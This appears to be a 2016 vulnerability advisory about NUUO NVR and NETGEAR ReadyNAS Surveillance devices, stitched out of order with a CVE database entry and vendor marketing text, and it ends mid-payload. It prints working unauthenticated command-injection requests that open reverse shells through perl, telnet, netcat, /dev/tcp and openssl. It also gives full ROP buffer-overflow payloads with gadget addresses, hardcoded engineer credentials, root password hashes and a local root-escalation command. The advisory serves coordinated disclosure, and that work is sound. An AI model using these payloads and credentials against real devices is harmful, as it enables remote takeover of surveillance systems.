SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS aaaa: filler PPPP: pc / lr register content, offset 986 4444: r4 register content, offset 968 5555: r5 register content, offset 970 6666: r6 register content, offset 974 7777: r7 register content, offset 978 8888: r8 register content, offset 982 SSSS: start of stack pointer, offset 1002 > Exploit mitigations and constraints The table below shows the exploit mitigation technologies for each target: NVRmini2 ReadyNAS NX Y Y RELRO Partial Partial ASLR N Y An additional constraint to keep in mind is that there can be no null bytes in the exploit as the vulnerability is in the sprintf copy operation (which uses a null byte as the string terminator). > Exploitation in the NVRmini2 (firmware v3.0.0): This example exploit creates a root bind shell on port 4444 using ROP gadgets to bypass NX. The gadgets were taken from libc-2.15.so, which is always loaded at 4066c000 in firmware 3.0.0. 0x00018ba0 : pop {r3, lr} ; bx lr -> located at 40684BA0 (first gadget, sets up r3 for the next gadget) 0x000f17cc : mov r0, sp ; blx r3 -> located at 4075D7CC (second gadget, set up args for system) 0x00039ffc : system() -> located at 406A5FFC (takes the argument from r0 - pointing to sp - and executes it) Payload (in the stack) -> %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 ("nc -l -p 4444 -e /bin/sh &") Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{first_gadget}aaaaaaaaaaaa{system()_address}{second_gadget}{stack} Exploit for NVRmini2 firmware v3.0.0 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 Other firmware versions will have different gadget addresses. On version 3.0.0 it should work without any modification. > Exploitation on ReadyNAS Surveillance (version v1.1.2): To develop this example exploit libcrypto.so.0.9.8 was used. The library is loaded at B6xxx000, where xxx are 4096 possible values for the memory address, as the ReadyNAS has a weak form of ASLR. For this exploit, B6CCE000 was chosen as the target base address (this was chosen randomly from a sample of collected base addresses). The exploit connects a reverse shell to 192.168.133.204:4444 using OpenSSL. The following ROP gadgets were used: 0x000b3d9c : mov r1, sp ; mov r2, ip ; blx r6 -> located at B6D81D9C (first gadget, gets the location of the stack pointer sp, where the shellcode is located, in r1) 0x00008690 : movs r0, r1 ; movs r0, r0 ; movs r2, r2 ; movs r2, r1 ; bx r7 -> located at B6CD6691 as this is a THUMB mode gadget (second gadget, sets up the arguments to system(), putting them into r0) 0xb6ef91bc: fixed system() address when B6CCE000 is chosen as the base address of libcrypto.so.0.9.8 (takes the argument from r0 - pointing to sp - and executes it) Payload: (in the stack) -> %6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 ("mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.133.204:4444 > /tmp/s; rm /tmp/s &") Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{second_gadget}{system_address}aaaa{first_gadget}aaaaaaaaaaaa{payload} Exploit for ReadyNAS Surveillance v1.1.2 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%91%66%cd%b6%bc%91%ef%b6aaaa%9c%1d%d8%b6aaaaaaaaaaaa%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 Note that due to the ASLR in the ReadyNAS his exploit has be attempted at few times in order for it to work. Usually less than 20 tries is enough to get the reverse shell to connect back. > Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=<PAYLOAD>' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2. It is likely that all other vulnerabilities in this advisory are exploitable by a local attacker, however this has only been tested for the stack buffer overflow. >> Fix: NETGEAR and Nuuo did not respond to CERT/CC coordination efforts (see Timeline below), so no fix is available. Do not expose any of these devices to the Internet or any networks with unstrusted hosts. Timeline: 28.02.2016: Disclosure to CERT/CC. 27.04.2016: Requested status update from CERT - they did not receive any response from vendors. 06.06.2016: Requested status update from CERT - still no response from vendors. Contacted Nuuo and NETGEAR directly. NETGEAR responded with their "Responsible Disclosure Guidelines", to which I did not agree and requested them to contact CERT if they want to know the details about the vulnerabilities found. No response from Nuuo. 13.06.2016: CERT sent an update saying that NETGEAR has received the details of the vulnerabilities, and they are attempting to contact Nuuo via alternative channels. 07.07.2016: CERT sent an update saying that they have not received any follow up from both Nuuo and NETGEAR, and that they are getting ready for disclosure. 17.07.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 01.08.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 04.08.2016: Coordinated disclosure with CERT. >> References: [1] https://www.kb.cert.org/vuls/id/856152 ================ Agile Information Security Limited http://www.agileinfosec.co.uk/ >> Enabling secure digital business >>
VAR-201608-0088 CVE-2016-5675 NUUO and Netgear Network Video Recorder (NVR) products web interfaces contain multiple vulnerabilities CVSS V2: 10.0
CVSS V3: 9.8
Severity: CRITICAL
handle_daylightsaving.php in NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.0.0 through 3.0.0, NUUO Crystal 2.2.1 through 3.2.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to execute arbitrary PHP code via the NTPServer parameter. NUUO NVRmini 2, NVRsolo, Crystal, and Netgear ReadyNAS Surveillance products have web management interfaces containing multiple vulnerabilities that can be leveraged to gain complete control of affected devices. NUUONVRsolo and so on are products of NUUO. Both NUUONVRsolo and NVRmini2 are network video recorders. NUUOCrystal is a Linux-based enterprise VMS (virtual memory system) solution. NetGearReadyNASSurveillance is a comprehensive IP video surveillance solution that integrates video surveillance software, storage, switching and network management with NetGear. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always." "NVRsolo is NUUOas answer to hassle free, lightweight NVR system. It is small in size yet able to handle heavy duty tasks. With local HDMI/VGA display and keyboard/mouse input built right into the unit, configuring NVRsolo is easy and simple. Built on solid Linux foundation, we sacrificed nothing except unnecessary bulk to make NVRsolo the award winning standalone NVR solution you have been looking for. NVRsolo's flexibility doesn't end there. For those needing more storage options, we offer 8 bay versions to meet your needs." "NUUO CrystalaC/ is the product that represents the next stage in VMS evolution. Rock solid, easily manageable, with powerful recording and viewing options available. Featuring revolutionary modular system structure that is made to handle large project size, NUUO CrystalaC/ is the ideal choice for your enterprise. Small businesses and corporate branch offices require a secure way to protect physical assets, but may lack deep security expertise or a big budget. A user-friendly NVR system should combine fast and flexible configuration with easy operation. With a few simple steps for installation, the web-based management leads users to configure, monitor and playback video everywhere. UPnP search, auto camera detection and GUI schedule save setting-up time, while the easy drag and drop camera, auto scan, preset point patrolling, and multiple views offer users a prime monitoring experience." >> Summary: NUUO is a vendor of Network Video Recording (NVR) systems for surveillance cameras. These NVR are Linux embedded video recording systems that can manage a number of cameras and are used worldwide by public institutions, banks, SME's, etc. The web interface contains a number of critical vulnerabilities that can be abused by unauthenticated attackers. These consist of monitoring backdoors left in the PHP files that are supposed to be used by NUUO's engineers, hardcoded credentials, poorly sanitised input and a buffer overflow which can be abused to achieve code execution on NUUO's devices as root, and on NETGEAR as the admin user. Although only the NVRmini 2, NVRsolo, Crystal and ReadyNAS Surveillance devices are known to be affected, it is likely that the same code is used in other NUUO devices or even other third party devices (the firmware is littered with references to other devices like NUUO Titan). However this has not been confirmed as it was not possible to access all NUUO and third party devices that might be using the same code. A special thanks to CERT/CC (https://www.cert.org/) for assistance with disclosing the vulnerabilities to the vendors [1]. Metasploit exploits for #1, #2 and #3 have been released. >> Technical details: #1 Vulnerability: Improper Input Validation (leading to remote code execution) CVE-2016-5674 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected The web inteface contains a hidden file named __debugging_center_utils___.php that improperly sanitises input to the log parameter, which is passed to the PHP system() call (snippet below): function print_file($file_fullpath_name) { $cmd = "cat " . $file_fullpath_name; echo $file_fullpath_name . "\n\n"; system($cmd); } <?php if (isset($_GET['log']) && !empty($_GET['log'])) { $file_fullpath_name = constant('LOG_FILE_FOLDER') . '/' . basename($_GET['log']); print_file($file_fullpath_name); } else { die("unknown command."); } ?> The file can be accessed by an unauthenticated user, and code execution can be achieved with the following proofs of concept: - ReadyNAS Surveillance: GET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+'$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,"192.168.1.204%3a9000")%3bSTDIN->fdopen($c,r)%3b$~->fdopen($c,w)%3bsystem$_+while<>%3b' This will connect a shell back to 192.168.1.204 on port 9000, running as the "admin" user. - NVRmini 2 and NVRsolo: GET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998 This will connect two shells to 192.168.1.204, one on port 9999 and another on port 9998. To execute commands, echo into the 9999 shell, and receive the output on the 9998 shell. Commands will run as the root user. #2 Vulnerability: Improper Input Validation (leading to remote code execution) CVE-2016-5675 Attack Vector: Remote Constraints: Requires an administrator account Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - NUUO Crystal, firmware v2.2.1 to v3.2.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected The handle_daylightsaving.php page does not sanitise input from the NTPServer parameter correctly and passes it to a PHP system() command (code snippet below): else if ($act == 'update') { $cmd = sprintf("/usr/bin/ntpdate %s", $_GET['NTPServer']); $find_str = "time server"; $sys_msg = system($cmd); $pos = strpos($sys_msg, $find_str); The file can only be accessed by an authenticted user. - ReadyNAS Surveillance: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3b+whoami+>+/tmp/test This will create a /tmp/test file with the contents of "admin" (current user). - NVRmini 2 and NVRsolo: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.204+9000+>/tmp/f Connects a shell to 192.168.1.204, port 9000, running as root. - Crystal: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3bbash+-i+>%26+/dev/tcp/192.168.1.204/4444+0>%26 Connects a shell to 192.168.1.204, port 4444, running as root. #3 Vulnerability: Administrator password reset CVE-2016-5676 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication) - NUUO NVRsolo, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication) - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected On older versions of the firmware and in the ReadyNAS Surveillance application unauthenticated users can call the cgi_system binary from the web interface. This binary performs a number of sensitive system commands, such as the loading of the default configuration that resets the administrator password. It seems that at least versions 2.2.1 and 3.0.0 of the NVRmini 2 and NVRsolo firmware are not affected, so this vulnerability was fixed either on these or earlier versions, but ReadyNAS Surveillance is still vulnerable. Proof of concept: GET /cgi-bin/cgi_system?cmd=loaddefconfig This will reset the admin password of the web interface to admin or password (depending on the firmware version) on all affected devices. #4 Vulnerability: Information disclosure (system processes, available memory and filesystem status) CVE-2016-5677 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected The web interface contains a hidden page (__nvr_status___.php) with a hardcoded username and password that lists the current system processes, available memory and filesystem status. This information can be obtained by an unauthenticated user by performing the following request: POST /__nvr_status___.php HTTP/1.1 username=nuuoeng&password=qwe23622260&submit=Submit #5 Vulnerability: Harcoded root password CVE-2016-5678 Affected products / versions: - NUUO NVRmini 2, firmware v1.0.0 to 3.0.0 - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 The NVRmini 2 and NVRsolo contain two hardcoded root passwords (one is commented). These passwords have not been cracked, but they are present in the firmware images which are deployed to all NVRmini 2 / NVRsolo devices. NVRmini 2: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7::: NVRsolo: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7::: #6 Vulnerability: Command injection in cgi_main transfer license command CVE-2016-5679 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user Affected products / versions: - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected) The transfer_license command has a command injection vulnerability in the "sn" parameter: cgi_main?cmd=transfer_license&method=offline&sn=";<command>;# Sample exploit for NVRmini2 (open bind shell on port 4444): GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23 NETGEAR Surveillance doesn't have netcat, but we can get an openssl reverse shell to 192.168.133.204:4444 instead: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bmkfifo+/tmp/s%3b+/bin/bash+-i+<+/tmp/s+2>%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+>+/tmp/s%3b+rm+/tmp/s%3b%23 > Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=<PAYLOAD>' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2. #7 Vulnerability: Stack buffer overflow in cgi_main transfer license command CVE-2016-5680 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected) The "sn" parameter in transfer_license cgi_main method not only has a command injection vulnerability, but also a stack buffer overflow. Below is the pseudocode of the affected function - as it can be seen in the sprintf line, the "sn" parameter is copied directly into a string with a fixed length of 128 characters. Function 0x20BC9C (NVRmini2 firmware v3.0.0): method = getval("method"); sn = getval("sn"); (...) memset(&command, 0, 128); sprintf(&command, "logger -p local0.info -t 'system' \"Activate license: %s\"", sn); system(&command); > For example if the following request is performed: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa